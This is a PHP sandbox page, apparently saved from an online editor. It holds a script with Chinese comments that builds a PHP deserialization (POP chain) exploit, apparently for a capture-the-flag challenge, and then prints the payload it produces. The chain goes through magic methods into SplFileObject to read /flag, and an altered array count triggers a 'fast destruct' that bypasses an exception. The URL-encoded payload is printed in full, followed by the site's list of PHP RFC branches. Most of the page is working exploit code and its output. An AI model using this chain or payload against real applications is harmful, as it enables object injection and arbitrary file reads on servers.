Online PHP editor | rfc for nKif6

@ 2026-02-08T12:47:18Z

<?php
// 定义类结构，用于序列化
class Sun { public $sun; }
class Moon { public $nearside; }
class Earth { public $onearth; public $inearth; public $outofearth; }
class Solar { public $Mercury; public $Venus; public $Mars; public $Jupiter; public $Saturn; }

$sun = new Sun();
$moon = new Moon();
$earth = new Earth();
$solarA = new Solar(); // 触发 __set 的对象
$solarB = new Solar(); // 触发 __call 的对象

// 1. 串联链条
$sun->sun = $moon;               // Sun::__destruct -> Moon::__tostring
$moon->nearside = $earth;        // Moon::__tostring -> Earth::__invoke

// 2. 核心跳转：Earth -> SolarA::__set
$earth->onearth = $solarA;
$earth->inearth = "Mars";        // 触发 __set 的 $name
$earth->outofearth = "/flag";    // 赋给 $solarA->Mars，即 __call 的参数 $args[0]

// 3. 核心爆发：SolarA::__set -> SolarB::__call
$solarA->Mercury = $solarB;
$solarA->Venus = "SplFileObject"; // 关键！赋给 $func，即 new SplFileObject

// 4. 原生类执行：SolarB::__call
$solarB->Jupiter = "current";     // SplFileObject 读取内容的方法
$solarB->Saturn = "";             // 方法参数

// 5. 生成绕过 Exception 的 Payload
$payload = array($sun);
$ser = serialize($payload);
// 通过修改数组元素数量，触发 Fast Destruct 绕过 throw new Exception
$final_payload = str_replace('a:1:{i:0;', 'a:2:{i:0;', $ser);

echo "Final URL Encoded Payload:\n\n";
echo urlencode($final_payload);
?>

Output for git.master, git.master_jit: Final URL Encoded Payload: a%3A2%3A%7Bi%3A0%3BO%3A3%3A%22Sun%22%3A1%3A%7Bs%3A3%3A%22sun%22%3BO%3A4%3A%22Moon%22%3A1%3A%7Bs%3A8%3A%22nearside%22%3BO%3A5%3A%22Earth%22%3A3%3A%7Bs%3A7%3A%22onearth%22%3BO%3A5%3A%22Solar%22%3A5%3A%7Bs%3A7%3A%22Mercury%22%3BO%3A5%3A%22Solar%22%3A5%3A%7Bs%3A7%3A%22Mercury%22%3BN%3Bs%3A5%3A%22Venus%22%3BN%3Bs%3A4%3A%22Mars%22%3BN%3Bs%3A7%3A%22Jupiter%22%3Bs%3A7%3A%22current%22%3Bs%3A6%3A%22Saturn%22%3Bs%3A0%3A%22%22%3B%7Ds%3A5%3A%22Venus%22%3Bs%3A13%3A%22SplFileObject%22%3Bs%3A4%3A%22Mars%22%3BN%3Bs%3A7%3A%22Jupiter%22%3BN%3Bs%3A6%3A%22Saturn%22%3BN%3B%7Ds%3A7%3A%22inearth%22%3Bs%3A4%3A%22Mars%22%3Bs%3A10%3A%22outofearth%22%3Bs%3A5%3A%22%2Fflag%22%3B%7D%7D%7D%7D

This tab shows result from various feature-branches currently under review by the php developers. Contact me to have additional branches featured.

Active branches

Archived branches

Once feature-branches are merged or declined, they are no longer available. Their functionality (when merged) can be viewed from the main output page

2022-12-01 RFC: Property hooks - included in PHP 8.4
2020-03-21 RFC: Is_Literal - declined
2020-12-04 Enumerations - included in PHP 8.1
2018-06-15 Typed Properties v2 - implemented in PHP 7.4
2016-08-12 Object typehint - included in PHP 7.2
2016-08-14 Arrow functions - withdrawn
2016-05-29 array_change_keys() - withdrawn
2016-04-19 Lexical scope support for anonymous classes - suspended
2016-04-17 Functional Interfaces - declined
2016-03-16 Typed Properties - superseded in favor of Typed Properties 2.0
2015-08-27 Callable Prototypes - declined
2015-05-01 Short Closures - declined / withdrawn in favor of Arrow Functions
2015-02-18 Scalar type hints v5 - included in PHP 7
2015-02-14 Union Types - declined
2013-09-22 Anonymous classes - included in PHP 7

preferences:dark modelive previewkey bindings